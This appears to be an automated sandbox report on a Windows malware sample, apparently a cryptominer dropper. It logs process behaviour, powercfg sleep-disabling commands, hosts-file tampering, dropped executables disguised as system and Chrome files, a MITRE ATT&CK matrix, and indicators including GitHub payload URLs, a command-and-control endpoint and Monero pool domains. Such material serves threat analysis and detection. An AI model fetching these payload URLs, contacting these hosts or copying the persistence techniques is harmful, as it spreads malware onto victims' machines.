Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

17_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 22_2_000001E858987960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

22_2_000001E858987960

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Modifies the hosts file

Source: C:\Windows\SysWOW64\system64x.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: dialer.exe, 0000002F.00000002.3603906840.0000025545DE9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procexp.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 File and Directory Permissions Modification	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	11 Windows Service	1 Access Token Manipulation	11 Disable or Modify Tools	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Windows Service	1 Deobfuscate/Decode Files or Information	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	713 Process Injection	21 Obfuscated Files or Information	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Rootkit	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	121 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	141 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	713 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	47%	ReversingLabs	Win32.Trojan.Boxter
SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	100%	Avira	TR/Redcap.owywe
SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\system64x.exe	100%	Avira	TR/Kryptik.byulc
C:\ProgramData\Google\Chrome\updater.exe	100%	Avira	TR/Kryptik.byulc
C:\ProgramData\Google\Chrome\updater.exe	92%	ReversingLabs	Win64.Packed.Generic
C:\Windows\SysWOW64\system64x.exe	92%	ReversingLabs	Win64.Packed.Generic
C:\Windows\Temp\voeeoiqrjnla.sys	5%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://github.com	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org/api/endpoint.php	0%	Avira URL Cloud	safe
https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/blob/main/system64x.exe?raw=true	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/erties	0%	Avira URL Cloud	safe
http://www.microsoft.coA	0%	Avira URL Cloud	safe
https://172.94.1q	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/09/policy	0%	Avira URL Cloud	safe
https://wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org/api/endpoint.php--cinit	0%	Avira URL Cloud	safe
http://github.com	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/soap12/	0%	Avira URL Cloud	safe
https://github.com(	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5h	0%	Avira URL Cloud	safe
http://raw.githubusercontent.com	0%	Avira URL Cloud	safe
https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw/main/system64x.exe	0%	Avira URL Cloud	safe
http://3csp.icrosof4m/ocp0	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/main/system64x.exe	0%	Avira URL Cloud	safe
https://xmrig.com/docs/algorithms	0%	Avira URL Cloud	safe
https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw	0%	Avira URL Cloud	safe
https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/blo	0%	Avira URL Cloud	safe
http://Passport.NET/tb	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/ws-sx/ws-trust/200512	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
github.com	140.82.121.3	true	false	unknown
raw.githubusercontent.com	185.199.109.133	true	false	unknown
monerooceans.stream	149.102.143.109	true	true	unknown
wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org	172.67.206.184	true	false	unknown
gulf.moneroocean.stream	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org/api/endpoint.php	false	Avira URL Cloud: safe	unknown
https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/blob/main/system64x.exe?raw=true	false	Avira URL Cloud: safe	unknown
https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw/main/system64x.exe	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/main/system64x.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.0000000003353000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.0000000003467000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://172.94.1q	dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.coA	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2432150701.000000001C83A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org/api/endpoint.php--cinit	dialer.exe, 0000002F.00000002.3603906840.0000025545E25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://github.com	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.000000000346B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com(	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.000000000348F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
